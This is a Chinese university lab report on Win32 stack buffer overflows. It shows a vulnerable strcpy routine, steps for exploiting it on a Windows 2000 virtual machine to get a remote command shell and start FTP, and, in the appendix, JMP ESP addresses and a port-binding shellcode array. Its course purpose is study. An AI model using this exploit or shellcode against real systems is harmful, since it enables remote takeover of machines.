网络安全缓冲区溢出技术实验报告

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

网络实验报告

一、实验目的及要求

1、目的

了解和掌握Win32平台缓冲区溢出原理;

学会使用Win32平台Shellcode技术。

2、内容及要求

以windows 2000 server虚拟机为测试对象,修改server.cpp和exploit.c,利用shellcode port bind给出的shellcode,远程获得CMD,并启动目标机器的ftp服务。

二、仪器用具

计算机(分别装有windows server 2000和windows 7操作系统),本实验使用的是虚拟机Wmware8.0在同一台电脑上面安装两个操作系统。

三、实验方法与步骤

在实验开始前,首先编写可能产生缓冲区溢出的程序(server.cpp)和测试程序(exploit.c)。

在server.cpp中能够产生缓冲区溢出的程序片段如下:

void overflow(char * s,int size)

{

char s1[50];

printf("receive %d bytes",size);

s[size]=0;

strcpy(s1,s);

}

这两个程序的完整代码见附件。

由于本实验是在虚拟机环境下测试的,所以在开始实验前,分别记下两个系统的IP地址:运行server程序的系统IP地址为:192.168.209.131

运行exploit程序的系统IP地址为:192.168.209.1

实验的过程如下:

1.在windows2000系统下分别编译server.cpp和exploit.c程序,详细过程如下:

C:\test>cl server.cpp

C:\test>cl exploit.c

编译完成后分别产生exploit.exe、exploit.obj、server.exe、server.obj

截图如下图1所示:

图 1

2.在windows2000系统中运行服务程序:server.cpp

C:\test>server.exe

截图如下图2所示:

图 2

3.将编译好的exploit程序拷贝到windows 7系统中来测试

4.在windows 7系统中运行exploit.exe程序,如下

D:\client\exploit.exe 192.168.209.131 8888

截图如下图3所示:

图3

这样就可以获得目标主机的CMD了,接下来的任务是开启目标主机的FTP服务。

5.紧接着上面的步骤,在获得CMD的情况下,运行如下的命令来开启目标机器的FTP

服务

C:\test>net start “ftp publishing service”

截图如下图4所示:

图4

四、实验结果及讨论

从上面的截图可以看出,实验通过exploit.exe程序顺利的获取了目标机器的CMD并启动FTP服务。由于不同的系统下JMP跳转指令的地址不相同,因此在windows xp与windows 2000程序的差别在于#define JUMPESP的定义。windows2000下可以采用如下的定义:#define JUMPESP "\x12\x45\xfa\x7f"

windows xp sp2可以采用下面的定义:

#define JUMPESP "\xed\x1e\x96\x7c"

由于程序是使用VC6编译器来编译的,它保持4字节栈对齐,因此服务程序server.cpp并不需要任何改动。

五、附录

exploit.c程序代码

#include

#include

#include

#pragma comment (lib,"ws2_32")

// jmp esp address of chinese version

#define JUMPESP "\x12\x45\xfa\x7f" char shellcode[] =

"\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x23\ x01\x80\x34\x0b\xf8\xe2\xfa"

"\xeb\x05\xe8\xeb\xff\xff\xff\x11\x01\xf8\ xf8\xf8\xa7\x9c\x59\xc8"

"\xf8\xf8\xf8\x73\xb8\xf4\x73\x88\xe4\x5 5\x73\x90\xf0\x73\x0f\x92"

"\xfb\xa1\x10\x61\xf8\xf8\xf8\x1a\x01\x9 0\xcb\xca\xf8\xf8\x90\x8f"

"\x8b\xca\xa7\xac\x07\xee\x73\x10\x92\x fd\xa1\x10\x78\xf8\xf8\xf8"

"\x1a\x01\x79\x14\x68\xf9\xf8\xf8\xac\x9 0\xf9\xf9\xf8\xf8\x07\xae"

"\xf4\xa8\xa8\xa8\xa8\x92\xf9\x92\xfa\x0 7\xae\xe8\x73\x20\xcb\x38"

"\xa8\xa8\x90\xfa\xf8\xe9\xa4\x73\x34\x 92\xe8\xa9\xab\x07\xae\xec" "\x92\xf9\xab\x07\xae\xe0\xa8\xa8\xab\x 07\xae\xe4\x73\x20\x90\x9b"

"\x95\x9c\xf8\x75\xec\xdc\x7b\x14\xac\x 73\x04\x92\xec\xa1\xcb\x38"

"\x71\xfc\x77\x1a\x03\x3e\xbf\xe8\xbc\x 06\xbf\xc4\x06\xbf\xc5\x71"

"\xa7\xb0\x71\xa7\xb4\x71\xa7\xa8\x75\x bf\xe8\xaf\xa8\xa9\xa9\xa9"

"\x92\xf9\xa9\xa9\xaa\xa9\x07\xae\xfc\xc b\x38\xb0\xa8\x07\xae\xf0"

"\xa9\xae\x73\x8d\xc4\x73\x8c\xd6\x80\x fb\x0d\xae\x73\x8e\xd8\xfb"

"\x0d\xcb\x31\xb1\xb9\x55\xfb\x3d\xcb\x 23\xf7\x46\xe8\xc2\x2e\x8c"

"\xf0\x39\x33\xff\xfb\x22\xb8\x13\x09\xc 3\xe7\x8d\x1f\xa6\x73\xa6"

"\xdc\xfb\x25\x9e\x73\xf4\xb3\x73\xa6\x e4\xfb\x25\x73\xfc\x73\xfb"

"\x3d\x53\xa6\xa1\x3b\x10\xfa\x07\x07\x 07\xca\x8c\x69\xf4\x31\x44"

"\x5e\x93\x77\x0a\xe0\x99\xc5\x92\x4c\x 78\xd5\xca\x80\x26\x9c\xe8"

"\x5f\x25\xf4\x67\x2b\xb3\x49\xe6\x6f\xf 9";

相关文档
最新文档